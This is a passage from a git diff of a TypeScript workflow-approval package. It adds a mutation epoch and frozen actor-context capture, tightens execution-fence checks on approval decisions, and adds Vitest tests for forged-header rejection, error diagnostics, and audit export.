+      .mockImplementation(() => {
+        if (mode === 'second-throw')
+          throw new Error('second direct epoch read');
+        return 'replacement';
+      });
+    const options = {
+      principal: humanPrincipal({ id: 'direct', role: 'operator' }),
+      storeFactory: factory,
+      buildService: build,
+      get mutationEpoch() {
+        return read();
+      },
+    };
+    const context = createPrincipalActorContext(options);
+    expect(read).toHaveBeenCalledTimes(1);
+    expect(context.mutationEpoch).toBe(epoch);
+    expect(build).not.toHaveBeenCalled();
+    Object.defineProperty(options, 'mutationEpoch', {
+      get() {
+        throw new Error('late direct epoch read');
+      },
+    });
+    expect(context.service()).toBe(context.service());
+    expect(build).toHaveBeenCalledOnce();
+    expect(context.mutationEpoch).toBe(epoch);
+    expect(read).toHaveBeenCalledTimes(1);
+  });
+
+  it('C direct principal context preserves a first epoch getter fault without effects', () => {
+    const factory = new InMemoryApprovalStoreFactory();
+    const resources = vi.spyOn(factory, 'resources');
+    const store = vi.spyOn(factory, 'store');
+    const buildService = vi.fn();
+    const fault = new Error('first direct epoch read');
+    let error: unknown;
+    try {
+      createPrincipalActorContext({
+        principal: humanPrincipal({ id: 'direct', role: 'operator' }),
+        storeFactory: factory,
+        buildService,
+        get mutationEpoch() {
+          throw fault;
+        },
+      });
+    } catch (cause) {
+      error = cause;
+    }
+    expect(error).toBe(fault);
+    expect(resources).not.toHaveBeenCalled();
+    expect(store).not.toHaveBeenCalled();
+    expect(buildService).not.toHaveBeenCalled();
+  });
+
+  it('C resolver keeps its construction epoch through authentication', async () => {
+    const hold = deferredContext();
+    const entered = deferredContext();
+    const options = {
+      mutationEpoch: 2,
+      storeFactory: new InMemoryApprovalStoreFactory(),
+      buildService: vi.fn(),
+      authenticate: async () => {
+        entered.release();
+        await hold.promise;
+        return { id: 'a', role: 'admin' as const };
+      },
+    };
+    const resolve = createActorResolver(options);
+    const pending = resolve(new Request('https://host/'));
+    await entered.promise;
+    options.mutationEpoch = 3;
+    try {
+      hold.release();
+      expect((await pending)?.mutationEpoch).toBe(2);
+    } finally {
+      hold.release();
+      await pending;
+    }
+  });
+
+  it.each([
+    '2',
+    'forged',
+  ])('C rejects the protected epoch header before authentication (%s)', async (value) => {
+    const authenticate = vi.fn(() => ({ id: 'a', role: 'admin' as const }));
+    const resolve = createActorResolver({
+      authenticate,
+      storeFactory: new InMemoryApprovalStoreFactory(),
+      buildService: vi.fn(),
+    });
+    await expect(
+      resolve(
+        new Request('https://host/', {
+          headers: { [MUTATION_EPOCH_HEADER.toUpperCase()]: value },
+        }),
+      ),
+    ).rejects.toBeInstanceOf(ActorResolutionError);
+    expect(authenticate).not.toHaveBeenCalled();
+    expect(
+      await resolve(
+        new Request('https://host/', { headers: { 'x-ordinary': 'yes' } }),
+      ),
+    ).toBeDefined();
+  });
+
+  it.each([
+    'prototype',
+    'non-enumerable',
+    'own-enumerable',
+  ] as const)('C captures all declared ActorContext methods without enumeration (%s)', async (shape) => {
+    const source = new ReceiverContext();
+    const reads = new Map<string, number>();
+    if (shape !== 'prototype') {
+      for (const key of [
+        ...contextMethods,
+        'actor',
+        'principal',
+        'mutationEpoch',
+        'deploymentTag',
+        'resourceOwner',
+      ] as const) {
+        const value = source[key];
+        Object.defineProperty(source, key, {
+          configurable: true,
+          enumerable: shape === 'own-enumerable',
+          get() {
+            const count = (reads.get(key) ?? 0) + 1;
+            reads.set(key, count);
+            if (count > 1) throw new Error(`second lookup ${key}`);
+            return value;
+          },
+        });
+      }
+    }
+    const captured = await captureWithoutFault(source);
+    expect(source.calls).toEqual([]);
+    expect(await observeMethods(captured)).toEqual(methodResults);
+    expect(source.calls).toEqual(contextMethods);
+    for (const count of reads.values()) expect(count).toBe(1);
+    expect(Object.isFrozen(source)).toBe(false);
+    expect(Object.isFrozen(captured)).toBe(true);
+  });
+
+  it.each([
+    'prototype',
+    'own-enumerable',
+  ] as const)('C preserves the original receiver of captured ActorContext methods (%s)', async (shape) => {
+    const source = new ReceiverContext();
+    if (shape === 'own-enumerable') {
+      for (const method of contextMethods)
+        Object.defineProperty(source, method, {
+          value: source[method],
+          enumerable: true,
+          configurable: true,
+        });
+    }
+    const captured = await captureWithoutFault(source);
+    expect(await observeMethods(captured)).toEqual(methodResults);
+    expect(source.calls).toEqual(contextMethods);
+    expect(Object.isFrozen(source.service)).toBe(false);
+    expect(Object.isFrozen(source.actor)).toBe(false);
+    expect(Object.isFrozen(source.resourceOwner)).toBe(false);
+  });
+
+  it('C never refreshes captured context methods after owner lookup', async () => {
+    const source = new ReceiverContext();
+    const hold = deferredContext();
+    const entered = deferredContext();
+    const registered: ResourceOwner = { kind: 'human', id: 'registered' };
+    const resources = new InMemoryApprovalStoreFactory().resources();
+    const owner = vi.spyOn(resources, 'owner').mockImplementation(async () => {
+      entered.release();
+      await hold.promise;
+      return registered;
+    });
+    const claim = vi.spyOn(resources, 'claim').mockResolvedValue(true);
+    const release = vi.spyOn(resources, 'release').mockResolvedValue(true);
+    const pending = withRegisteredResourceOwner(source, resources, [
+      { kind: 'run', resourceId: 'r' },
+    ]);
+    await entered.promise;
+    const replacement = vi.fn(() => {
+      throw new Error('replacement');
+    });
+    for (const method of contextMethods)
+      Object.defineProperty(source, method, { value: replacement });
+    source.actor = { id: 'changed', role: 'admin' };
+    source.principal = humanPrincipal(source.actor);
+    source.mutationEpoch = 9;
+    source.deploymentTag = 'changed';
+    source.resourceOwner = { kind: 'human', id: 'changed' };
+    try {
+      hold.release();
+      const captured = await pending;
+      expect(captured.actor).toEqual({
+        id: 'original-actor',
+        role: 'operator',
+      });
+      expect(captured.principal.id).toBe('principal-1');
+      expect(captured.mutationEpoch).toBe(2);
+      expect(captured.deploymentTag).toBe('original-tag');
+      expect(captured.resourceOwner).toEqual(registered);
+      expect(captured.resourceOwner).not.toBe(registered);
+      expect(await observeMethods(captured)).toEqual(methodResults);
+      expect(source.calls).toEqual([
+        'service',
+        'newRunId',
+        'newThreadId',
+        'resourceIdFromKey',
+        'canSelfDecide',
+      ]);
+      expect(claim).toHaveBeenCalledWith('run', 'r', registered);
+      expect(release).toHaveBeenCalledWith('run', 'r', registered);
+      expect(owner).toHaveBeenCalledTimes(3);
+      expect(replacement).not.toHaveBeenCalled();
+    } finally {
+      hold.release();
+      await pending;
+    }
+  });
+
+  it('C preserves the original actor without imposing principal equality', () => {
+    const source = new ReceiverContext();
+    const id = vi.fn(() => 'custom-actor');
+    const role = vi.fn(() => 'builder');
+    source.actor = Object.defineProperties(
+      {},
+      { id: { get: id }, role: { get: role } },
+    ) as ApprovalActor;
+    const captured = captureActorContext(source);
+    expect(captured.actor).toEqual({ id: 'custom-actor', role: 'builder' });
+    expect(captured.principal).toEqual({
+      kind: 'human',
+      id: 'principal-1',
+      role: 'admin',
+    });
+    expect(id).toHaveBeenCalledTimes(1);
+    expect(role).toHaveBeenCalledTimes(1);
+  });
+
+  it.each([
+    null,
+    undefined,
+    'actor',
+    { id: '', role: 'admin' },
+    { id: 'secret', role: 'root' },
+  ])('C refuses malformed first actor data with the fixed error (%s)', (actor) => {
+    const source = new ReceiverContext();
+    Object.defineProperty(source, 'actor', { value: actor });
+    const principal = vi.fn();
+    Object.defineProperty(source, 'principal', { get: principal });
+    expect(() => captureActorContext(source)).toThrow(
+      new ActorResolutionError('actor context actor is malformed'),
+    );
+    expect(principal).not.toHaveBeenCalled();
+    expect(source.calls).toEqual([]);
+  });
+
+  it('C preserves first getter faults and principal own-data rules', () => {
+    const sentinel = new Error('first fault');
+    const source = new ReceiverContext();
+    Object.defineProperty(source.actor, 'id', {
+      get() {
+        throw sentinel;
+      },
+    });
+    expect(() => captureActorContext(source)).toThrow(sentinel);
+    const other = new ReceiverContext();
+    const id = vi.fn(() => 'principal-1');
+    Object.defineProperty(other.principal, 'id', { get: id });
+    expect(() => captureActorContext(other)).toThrow();
+    expect(id).not.toHaveBeenCalled();
+  });
+});
+
 describe('ActorContext', () => {
   it('mints path-safe opaque ids and preserves the verified deployment tag', async () => {
     const context = await resolveContext();
diff --git a/packages/flowsafe/src/approval-api/actor-context.ts b/packages/flowsafe/src/approval-api/actor-context.ts
index beea2923..440f4e4d 100644
--- a/packages/flowsafe/src/approval-api/actor-context.ts
+++ b/packages/flowsafe/src/approval-api/actor-context.ts
@@ -3,6 +3,10 @@
 // validates the human before exposing services or server-owned identifiers.
 
 import { DEPLOYMENT_IDENTITY_HEADER } from '../do-runner/deployment-identity.js';
+import {
+  MUTATION_EPOCH_HEADER,
+  normalizeMutationEpoch,
+} from '../do-runner/execution-admission.js';
 import { EXECUTION_PRINCIPAL_HEADER } from '../do-runner/execution-principal-header.js';
 import { mintThreadId, resourceIdFromKey } from '../do-runner/memory-id.js';
 import { isPathSafeId } from '../do-runner/path-safe-id.js';
@@ -19,6 +23,7 @@ import {
   principalActor,
 } from './principal.js';
 import {
+  canonicalResourceOwner,
   principalMayAccess,
   principalOwner,
   type ResourceAccess,
@@ -38,6 +43,7 @@ import type { ApprovalStore } from './store.js';
 import type { ApprovalStoreFactory } from './store-factory.js';
 
 export interface ActorContext {
+  readonly mutationEpoch?: number;
   /** Already authenticated and validated. */
   readonly actor: ApprovalActor;
   /** Infrastructure-verified deployment tag for audit attribution. */
@@ -93,6 +99,7 @@ export interface CreateActorResolverOptions {
   storeFactory: ApprovalStoreFactory;
   /** Infrastructure-configured deployment tag, never derived from claims. */
   deploymentTag?: string;
+  mutationEpoch?: unknown;
   /** Host-specific service assembly, called lazily at most once per request. */
   buildService: (store: ApprovalStore, actor: ApprovalActor) => ApprovalService;
   /** Run-id generator. Default: crypto.randomUUID. */
@@ -106,6 +113,7 @@ export interface CreatePrincipalActorContextOptions {
   principal: ExecutionPrincipal;
   storeFactory: ApprovalStoreFactory;
   deploymentTag?: string;
+  mutationEpoch?: unknown;
   buildService: (store: ApprovalStore, actor: ApprovalActor) => ApprovalService;
   newRunId?: () => string;
   canSelfDecide?: (role: ApprovalRole) => boolean;
@@ -119,6 +127,7 @@ export function createPrincipalActorContext(
     options.principal,
     'actor context principal',
   );
+  const mutationEpoch = normalizeMutationEpoch(options.mutationEpoch);
   const actor = principalActor(principal);
   const owner = principalOwner(principal);
   const resources = options.storeFactory.resources();
@@ -126,6 +135,7 @@ export function createPrincipalActorContext(
   let service: ApprovalService | undefined;
   return {
     actor,
+    ...(mutationEpoch === undefined ? {} : { mutationEpoch }),
     ...(options.deploymentTag !== undefined
       ? { deploymentTag: options.deploymentTag }
       : {}),
@@ -170,15 +180,76 @@ export function createPrincipalActorContext(
   };
 }
 
+export function captureActorContext(source: ActorContext): ActorContext {
+  const rawActor = source.actor;
+  if (rawActor === null || typeof rawActor !== 'object') {
+    throw new ActorResolutionError('actor context actor is malformed');
+  }
+  const { id, role } = rawActor;
+  const actor = canonicalApprovalActor({ id, role });
+  if (!actor) {
+    throw new ActorResolutionError('actor context actor is malformed');
+  }
+  const principal = assertExecutionPrincipal(
+    source.principal,
+    'actor context principal',
+  );
+  const mutationEpoch = normalizeMutationEpoch(source.mutationEpoch);
+  const deploymentTag = source.deploymentTag;
+  const rawOwner = source.resourceOwner;
+  const resourceOwner = canonicalResourceOwner(
+    rawOwner === null || typeof rawOwner !== 'object'
+      ? rawOwner
+      : { kind: rawOwner.kind, id: rawOwner.id },
+  );
+  const {
+    service,
+    newRunId,
+    newThreadId,
+    resourceIdFromKey,
+    claimResource,
+    releaseResource,
+    resourceOwnerFor,
+    canAccessResource,
+    canSelfDecide,
+  } = source;
+  const captured: ActorContext = {
+    actor,
+    principal,
+    ...(mutationEpoch === undefined ? {} : { mutationEpoch }),
+    ...(deploymentTag === undefined ? {} : { deploymentTag }),
+    resourceOwner,
+    service: () => service.call(source),
+    newRunId: () => newRunId.call(source),
+    newThreadId: () => newThreadId.call(source),
+    resourceIdFromKey: (key) => resourceIdFromKey.call(source, key),
+    claimResource: (kind, resourceId) =>
+      claimResource.call(source, kind, resourceId),
+    releaseResource: (kind, resourceId) =>
+      releaseResource.call(source, kind, resourceId),
+    resourceOwnerFor: (kind, resourceId) =>
+      resourceOwnerFor.call(source, kind, resourceId),
+    canAccessResource: (kind, resourceId, access) =>
+      canAccessResource.call(source, kind, resourceId, access),
+    canSelfDecide: (role) => canSelfDecide.call(source, role),
+  };
+  return Object.freeze(captured);
+}
+
 /** Rebind mutations and reads to the common registered owner of trusted ids. */
 export async function withRegisteredResourceOwner(
   context: ActorContext,
   resources: ResourceOwnershipStore,
   claims: readonly ResourceClaim[],
 ): Promise<ActorContext> {
-  const owner = await requireCommonResourceOwner(resources, claims);
-  return {
-    ...context,
+  const captured = captureActorContext(context);
+  const registered = await requireCommonResourceOwner(resources, claims);
+  const owner = canonicalResourceOwner({
+    kind: registered.kind,
+    id: registered.id,
+  });
+  const rebound: ActorContext = {
+    ...captured,
     resourceOwner: owner,
     claimResource: async (kind, resourceId) => {
       if (!(await resources.claim(kind, resourceId, owner))) {
@@ -194,14 +265,17 @@ export async function withRegisteredResourceOwner(
       return stored?.kind === owner.kind && stored.id === owner.id;
     },
   };
+  return Object.freeze(rebound);
 }
 
 export function createActorResolver(
   options: CreateActorResolverOptions,
 ): ActorResolver {
+  const mutationEpoch = normalizeMutationEpoch(options.mutationEpoch);
   const mintUuid = options.newRunId ?? (() => crypto.randomUUID());
   return async (request) => {
     if (
+      request.headers.has(MUTATION_EPOCH_HEADER) ||
       request.headers.has(EXECUTION_PRINCIPAL_HEADER) ||
       request.headers.has(DEPLOYMENT_IDENTITY_HEADER) ||
       request.headers.has('x-flowsafe-actor') ||
@@ -223,6 +297,7 @@ export function createActorResolver(
     const principal = humanPrincipal(actor);
     return createPrincipalActorContext({
       principal,
+      mutationEpoch,
       storeFactory: options.storeFactory,
       ...(options.deploymentTag !== undefined
         ? { deploymentTag: options.deploymentTag }
diff --git a/packages/flowsafe/src/approval-api/retention.ts b/packages/flowsafe/src/approval-api/retention.ts
index 78e939fe..54688db2 100644
--- a/packages/flowsafe/src/approval-api/retention.ts
+++ b/packages/flowsafe/src/approval-api/retention.ts
@@ -66,8 +66,7 @@ export interface PurgeExpiredApprovalsOptions {
   now?: () => number;
   /**
    * Records deleted per call — one LIMIT-batched DELETE per firing; the
-   * shrinking eligible set is the cursor across firings (same convention as
-   * purgeExpiredWorkflowRuns' row-only path). Default 1000.
+   * shrinking eligible set is the cursor across firings. Default 1000.
    */
   limit?: number;
 }
diff --git a/packages/flowsafe/src/approval-api/service.test.ts b/packages/flowsafe/src/approval-api/service.test.ts
index 36def4fb..4f089108 100644
--- a/packages/flowsafe/src/approval-api/service.test.ts
+++ b/packages/flowsafe/src/approval-api/service.test.ts
@@ -8,7 +8,6 @@ import {
   type ExecutionFenceState,
   ExecutionFenceStore,
 } from '../do-runner/index.js';
-
 import type {
   ApprovalActor,
   ApprovalAuditEvent,
@@ -17,6 +16,7 @@ import type {
   ApprovalStreamEvent,
   ApprovalStreamSink,
 } from './contract.js';
+import type { ApprovalDatabase } from './d1-store.js';
 import {
   type AutomatedExecutionPrincipal,
   trustAutomationPrincipal,
@@ -31,7 +31,10 @@ import {
   UnknownApprovalError,
 } from './service.js';
 import type { ApprovalStore, InMemoryApprovalStore } from './store.js';
-import { InMemoryApprovalStoreFactory } from './store-factory.js';
+import {
+  D1ApprovalStoreFactory,
+  InMemoryApprovalStoreFactory,
+} from './store-factory.js';
 import {
   type ApprovalRecord,
   type CreateApprovalInput,
@@ -1705,6 +1708,101 @@ describe('ApprovalService.delegate concurrency', () => {
   });
 });
 
+describe('ApprovalService sink failure diagnostics', () => {
+  const failures = [
+    {
+      name: 'ordinary Error',
+      create: () => new Error('transport unavailable'),
+      diagnostic: 'transport unavailable',
+    },
+    {
+      name: 'throwing message getter',
+      create: () =>
+        Object.defineProperty(new Error(), 'message', {
+          get() {
+            throw new Error('message getter failed');
+          },
+        }),
+      diagnostic: 'unreadable error',
+    },
+    {
+      name: 'BigInt message',
+      create: () =>
+        Object.defineProperty(new Error(), 'message', { value: 1n }),
+      diagnostic: '1',
+    },
+    {
+      name: 'null-prototype rejection',
+      create: () => Object.create(null),
+      diagnostic: 'unreadable error',
+    },
+  ];
+
+  for (const sink of ['notify', 'stream'] as const) {
+    for (const mode of ['threw', 'rejected'] as const) {
+      it.each(
+        failures,
+      )(`${sink} ${mode} with $name preserves the approval and audit`, async ({
+        create,
+        diagnostic,
+      }) => {
+        const harness = makeHarness({
+          [sink]: () => {
+            if (mode === 'threw') throw create();
+            return Promise.reject(create());
+          },
+        });
+
+        const record = await seedPending(harness);
+        await new Promise((resolve) => setTimeout(resolve, 0));
+
+        expect((await harness.store.get(record.id))?.status).toBe('pending');
+        expect(harness.events).toContainEqual(
+          expect.objectContaining({
+            action: `approval.${sink}`,
+            decision: 'error',
+            reason: `${sink === 'notify' ? 'notification' : 'stream'} sink ${mode}: ${diagnostic}`,
+          }),
+        );
+      });
+    }
+  }
+
+  it.each(
+    failures,
+  )('continues the SLA sweep when escalation hooks throw with $name', async ({
+    create,
+    diagnostic,
+  }) => {
+    const harness = makeHarness();
+    const first = await seedPending(harness, { slaSeconds: 60 });
+    const second = await seedPending(harness, {
+      slaSeconds: 60,
+      runId: 'acme_run-2',
+    });
+    harness.advance(61_000);
+
+    const escalated = await runSweep(harness, {
+      onEscalation: () => {
+        throw create();
+      },
+    });
+
+    expect(escalated.map(({ id }) => id).sort()).toEqual(
+      [first.id, second.id].sort(),
+    );
+    expect(
+      harness.events.filter(
+        (event) =>
+          event.action === 'approval.escalate' && event.decision === 'error',
+      ),
+    ).toEqual([
+      expect.objectContaining({ reason: `onEscalation threw: ${diagnostic}` }),
+      expect.objectContaining({ reason: `onEscalation threw: ${diagnostic}` }),
+    ]);
+  });
+});
+
 describe('ApprovalService notification seam', () => {
   it('notifies once per actually-created record, with the record', async () => {
     // #given
@@ -2555,8 +2653,7 @@ describe('ApprovalService.decide and the deployment execution fence', () => {
     ]);
   });
 
-  it('decides only for the nominated proof run under proof-only', async () => {
-    // #given — a proof state bound to one run.
+  it('refuses legacy run-only proof metadata without committing decisions', async () => {
     const fence = await fenceAt('migration-locked');
     await fence.transition({
       expected: 'migration-locked',
@@ -2575,19 +2672,138 @@ describe('ApprovalService.decide and the deployment execution fence', () => {
       stepPath: ['approval'],
     });
 
-    // #then — an approval that gates a different run is refused...
     await expect(
       harness.service.decide(other.id, { decision: 'approve' }, REVIEWER),
     ).rejects.toBeInstanceOf(ExecutionFencedError);
 
-    // #and — the proof run's gate is decided, which is what makes the proof
-    // able to reach a suspension and come back.
-    const decided = await harness.service.decide(
-      proof.id,
-      { decision: 'approve' },
-      REVIEWER,
+    const result = await harness.service
+      .decide(proof.id, { decision: 'approve' }, REVIEWER)
+      .catch((error) => error);
+    expect((await harness.store.get(proof.id))?.status).toBe('pending');
+    expect(resumeRun).not.toHaveBeenCalled();
+    expect(result).toBeInstanceOf(ExecutionFencedError);
+  });
+});
+
+describe('FS8 D3 proof activation approval decisions', () => {
+  async function modern(prefix: string | undefined) {
+    const sqlite = openSqlite();
+    const db = sqliteUnitDatabase(sqlite) as ApprovalDatabase;
+    const fence = new ExecutionFenceStore(db);
+    await fence.seed('migration-locked');
+    await fence.transition({
+      expected: 'migration-locked',
+      next: 'proof-only',
+      proofKey: 'proof',
+    });
+    sqlite.exec(
+      "UPDATE flowsafe_execution_fence SET proof_run_id = 'acme_run-1', proof_table_prefix = 'proof_', proof_workflow_id = 'wf', proof_start_token = 'generation'",
     );
-    expect(decided.record.status).toBe('approved');
-    expect(resumeRun).toHaveBeenCalledTimes(1);
+    sqlite.exec(
+      'CREATE TABLE proof_mastra_workflow_snapshot (workflow_name TEXT, run_id TEXT, resourceId TEXT, snapshot TEXT, createdAt TEXT, updatedAt TEXT, PRIMARY KEY (workflow_name,run_id))',
+    );
+    const snapshot = {
+      runId: 'acme_run-1',
+      status: 'suspended',
+      requestContext: {
+        'flowsafe.runProvenance': {
+          version: 2,
+          startToken: 'generation',
+          attemptToken: 'attempt',
+          resumeCounts: [],
+        },
+      },
+    };
+    const write = () =>
+      sqlite
+        .prepare(
+          'INSERT OR REPLACE INTO proof_mastra_workflow_snapshot VALUES (?,?,?,?,?,?)',
+        )
+        .run(
+          'wf',
+          'acme_run-1',
+          null,
+          JSON.stringify(snapshot),
+          'created',
+          'updated',
+        );
+    write();
+    const store = new D1ApprovalStoreFactory(db, {
+      workflowSnapshotTable: 'proof_mastra_workflow_snapshot',
+    }).store();
+    const resumeRun = vi.fn(async () => undefined);
+    const service = new ApprovalService({
+      store,
+      executionFence: fence,
+      workflowTablePrefix: prefix,
+      resumeRun,
+    });
+    const { record } = await service.create(
+      input({ stepPath: ['approval'] }),
+      OPERATOR,
+    );
+    return {
+      sqlite,
+      store,
+      fence,
+      service,
+      record,
+      resumeRun,
+      snapshot,
+      write,
+    };
+  }
+
+  it('requires an explicit trusted prefix and canonicalizes a supplied namespace', async () => {
+    for (const prefix of [undefined, 'PROOF_']) {
+      const h = await modern(prefix);
+      const result = await h.service
+        .decide(h.record.id, { decision: 'approve' }, REVIEWER)
+        .catch((error) => error);
+      expect((await h.store.get(h.record.id))?.status).toBe(
+        prefix === undefined ? 'pending' : 'approved',
+      );
+      expect(h.resumeRun).toHaveBeenCalledTimes(prefix === undefined ? 0 : 1);
+      if (prefix === undefined)
+        expect(result).toBeInstanceOf(ExecutionFencedError);
+      else expect(result).toMatchObject({ record: { status: 'approved' } });
+    }
+  });
+
+  it.each([
+    'sod-record',
+    'approved-history',
+  ] as const)('retains the originally admitted generation through the %s await', async (boundary) => {
+    const h = await modern('proof_');
+    const replace = () => {
+      h.snapshot.requestContext['flowsafe.runProvenance'].startToken =
+        'replacement';
+      h.write();
+      h.sqlite.exec(
+        "UPDATE flowsafe_execution_fence SET proof_start_token = 'replacement'",
+      );
+    };
+    if (boundary === 'sod-record') {
+      const get = h.store.get.bind(h.store);
+      let reads = 0;
+      h.store.get = async (id) => {
+        const result = await get(id);
+        if (++reads === 2) replace();
+        return result;
+      };
+    } else {
+      const list = h.store.list.bind(h.store);
+      h.store.list = async (filter) => {
+        const result = await list(filter);
+        replace();
+        return result;
+      };
+    }
+    const result = await h.service
+      .decide(h.record.id, { decision: 'approve' }, REVIEWER)
+      .catch((error) => error);
+    expect((await h.store.get(h.record.id))?.status).toBe('pending');
+    expect(h.resumeRun).not.toHaveBeenCalled();
+    expect(result).toBeInstanceOf(ExecutionFencedError);
   });
 });
diff --git a/packages/flowsafe/src/approval-api/service.ts b/packages/flowsafe/src/approval-api/service.ts
index b5383c55..8030c263 100644
--- a/packages/flowsafe/src/approval-api/service.ts
+++ b/packages/flowsafe/src/approval-api/service.ts
@@ -8,6 +8,7 @@
 // (grants.ts) derives requestContext grants from approved records at
 // start/resume. Nothing here ever reads capability data from client input.
 
+import type { D1RunExecutionIdentity } from '../do-runner/execution-admission.js';
 import {
   admitsExistingRun,
   ExecutionFencedError,
@@ -15,6 +16,7 @@ import {
   readExecutionFence,
 } from '../do-runner/execution-fence.js';
 import { isPathSafeId } from '../do-runner/path-safe-id.js';
+import { validateTablePrefix } from '../do-runner/table-prefix.js';
 import type {
   ApprovalActor,
   ApprovalAuditSink,
@@ -192,6 +194,7 @@ export interface ApprovalServiceOptions {
    * someone made rather than one they missed. See ExecutionFenceWiring.
    */
   executionFence: ExecutionFenceWiring;
+  workflowTablePrefix?: string;
   /** Injectable clock (tests, deterministic SLA math). */
   now?: () => Date;
 }
@@ -220,6 +223,7 @@ export class ApprovalService {
   ) => Promise<unknown>;
   readonly #allowSelfDecision?: SelfDecisionPolicy;
   readonly #executionFence: ExecutionFenceWiring;
+  readonly #workflowTablePrefix?: string;
   readonly #now: () => Date;
 
   constructor(options: ApprovalServiceOptions) {
@@ -231,6 +235,10 @@ export class ApprovalService {
     this.#resumeRun = options.resumeRun;
     this.#allowSelfDecision = options.allowSelfDecision;
     this.#executionFence = options.executionFence;
+    this.#workflowTablePrefix = validateTablePrefix(
+      options.workflowTablePrefix,
+      'workflowTablePrefix',
+    )?.toLowerCase();
     this.#now = options.now ?? (() => new Date());
   }
 
@@ -467,16 +475,49 @@ export class ApprovalService {
    * definition of what "no fence" does, so the opt-out cannot be a ternary this
    * gate gets subtly wrong.
    */
-  async #assertDecidable(id: string): Promise<void> {
-    const reading = await readExecutionFence(this.#executionFence);
+  async #assertDecidable(
+    id: string,
+  ): Promise<D1RunExecutionIdentity | undefined> {
+    const fence = this.#executionFence;
+    const reading = await readExecutionFence(fence);
     if (reading.state === 'open' || reading.state === 'draining') return;
-    const runId =
-      reading.state === 'proof-only'
-        ? (await this.#store.get(id))?.runId
-        : undefined;
-    if (!admitsExistingRun(reading, runId)) {
-      throw new ExecutionFencedError(reading.state, 'approval decision');
+    if (
+      reading.state === 'proof-only' &&
+      fence !== 'none' &&
+      this.#workflowTablePrefix !== undefined
+    ) {
+      const record = await this.#store.get(id);
+      if (record !== null && record !== undefined) {
+        const { workflowId, runId } = record;
+        const execution = await fence.readCurrentRunExecution({
+          tablePrefix: this.#workflowTablePrefix,
+          workflowId,
+          runId,
+        });
+        if (execution !== undefined && admitsExistingRun(reading, execution))
+          return execution;
+      }
     }
+    throw new ExecutionFencedError(reading.state, 'approval decision');
+  }
+
+  async #assertRetainedDecidable(
+    execution: D1RunExecutionIdentity | undefined,
+  ): Promise<void> {
+    if (execution === undefined) return;
+    const fence = this.#executionFence;
+    if (fence === 'none')
+      throw new ExecutionFencedError('proof-only', 'approval decision');
+    const reading = await fence.read();
+    const current = await fence.readCurrentRunExecution(execution);
+    if (
+      !admitsExistingRun(
+        { state: 'proof-only', proofExecution: execution },
+        current,
+      ) ||
+      !admitsExistingRun(reading, execution)
+    )
+      throw new ExecutionFencedError(reading.state, 'approval decision');
   }
 
   async decide(
@@ -491,7 +532,7 @@ export class ApprovalService {
       `approval:${id}`,
     );
     this.#assertDecisionInput(input);
-    await this.#assertDecidable(id);
+    const admitted = await this.#assertDecidable(id);
     // Role-scoped SoD: an exempt decider (allowSelfDecision: true, or a role
     // named in { roles }) skips the pre-read entirely; everyone else keeps
     // today's read-then-CAS self-request denial.
@@ -591,6 +632,7 @@ export class ApprovalService {
       updatedAt: now,
     };
     if (input.comment !== undefined) patch.comment = input.comment;
+    await this.#assertRetainedDecidable(admitted);
     const updated = await this.#transitionOrExplain(id, 'decide', authorized, {
       from: OPEN_STATUSES,
       patch,
@@ -1244,7 +1286,11 @@ export class ApprovalService {
 }
 
 function errorMessage(error: unknown): string {
-  return error instanceof Error ? error.message : String(error);
+  try {
+    return String(error instanceof Error ? error.message : error);
+  } catch {
+    return 'unreadable error';
+  }
 }
 
 // Maps a per-record decide() failure to BatchDecideItem.code — the same
diff --git a/packages/flowsafe/src/audit-export/audit-export.test.ts b/packages/flowsafe/src/audit-export/audit-export.test.ts
index 32b35957..c302c5bd 100644
--- a/packages/flowsafe/src/audit-export/audit-export.test.ts
+++ b/packages/flowsafe/src/audit-export/audit-export.test.ts
@@ -1,4 +1,5 @@
 // SPDX-License-Identifier: Apache-2.0
+import { type AuditEvent, AuditLogger } from '@proofoftech/breakwater/audit';
 import { describe, expect, it, vi } from 'vitest';
 
 import {
@@ -29,6 +30,46 @@ function makeBatch(events: TestEvent[]): {
 }
 
 describe('queueAuditSink', () => {
+  it('preserves connector decision metadata from the logger through NDJSON export', async () => {
+    const queued: AuditEvent[] = [];
+    const audit = new AuditLogger({
+      sink: queueAuditSink<AuditEvent>({
+        send: async (event) => {
+          queued.push(event);
+        },
+      }),
+    });
+    const event = audit.record({
+      actor: null,
+      action: 'connector.execute',
+      resource: 'example.read',
+      decision: 'denied',
+      decisionCode: 'RATE_LIMIT_EXCEEDED',
+      policyKind: 'rate-limit',
+      retryable: true,
+    });
+    const fetch = vi.fn().mockResolvedValue({ ok: true, status: 200 });
+    const ackAll = vi.fn();
+    const retryAll = vi.fn();
+    await createAuditQueueConsumer<AuditEvent>({
+      endpoint: 'https://siem.example/collect',
+      fetch,
+    })({
+      messages: queued.map((body) => ({ body, ack: vi.fn(), retry: vi.fn() })),
+      ackAll,
+      retryAll,
+    });
+    expect(fetch).toHaveBeenCalledTimes(1);
+    expect(JSON.parse(fetch.mock.calls[0]?.[1].body)).toEqual(event);
+    expect(event).toMatchObject({
+      decisionCode: 'RATE_LIMIT_EXCEEDED',
+      policyKind: 'rate-limit',
+      retryable: true,
+    });
+    expect(ackAll).toHaveBeenCalledTimes(1);
+    expect(retryAll).not.toHaveBeenCalled();
+  });
+
   it('sends each event to the queue binding', async () => {
     // #given
     const send = vi.fn().mockResolvedValue(undefined);
diff --git a/packages/flowsafe/src/background-tasks/d1-storage.test.ts b/packages/flowsafe/src/background-tasks/d1-storage.test.ts
index bac912d2..efdd0ac3 100644
--- a/packages/flowsafe/src/background-tasks/d1-storage.test.ts
+++ b/packages/flowsafe/src/background-tasks/d1-storage.test.ts
@@ -2,19 +2,575 @@
 // D1 execution adapters: serialized workflow updates and deployment-wide task
 // listing/deletion over the same storage composition seam hosts use.
 
-import { BackgroundTasksStorageD1 } from '@mastra/cloudflare-d1';
+import {
+  BackgroundTasksStorageD1,
+  type D1DomainConfig,
+} from '@mastra/cloudflare-d1';
 import type { BackgroundTask } from '@mastra/core/background-tasks';
 import type { Mastra } from '@mastra/core/mastra';
 import { createEmptyWorkflowSnapshot } from '@mastra/core/storage';
-import { describe, expect, it } from 'vitest';
+import { describe, expect, it, vi } from 'vitest';
 
 import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js';
-import { createD1Storage } from '../do-runner/index.js';
+import {
+  createD1Storage,
+  ExecutionFenceStore,
+  FENCED_WORKFLOW_STORAGE,
+  FencedWorkflowsStorageD1,
+  type InitialAdmissionDatabase,
+  type InitialTerminalizationRequest,
+} from '../do-runner/index.js';
 import {
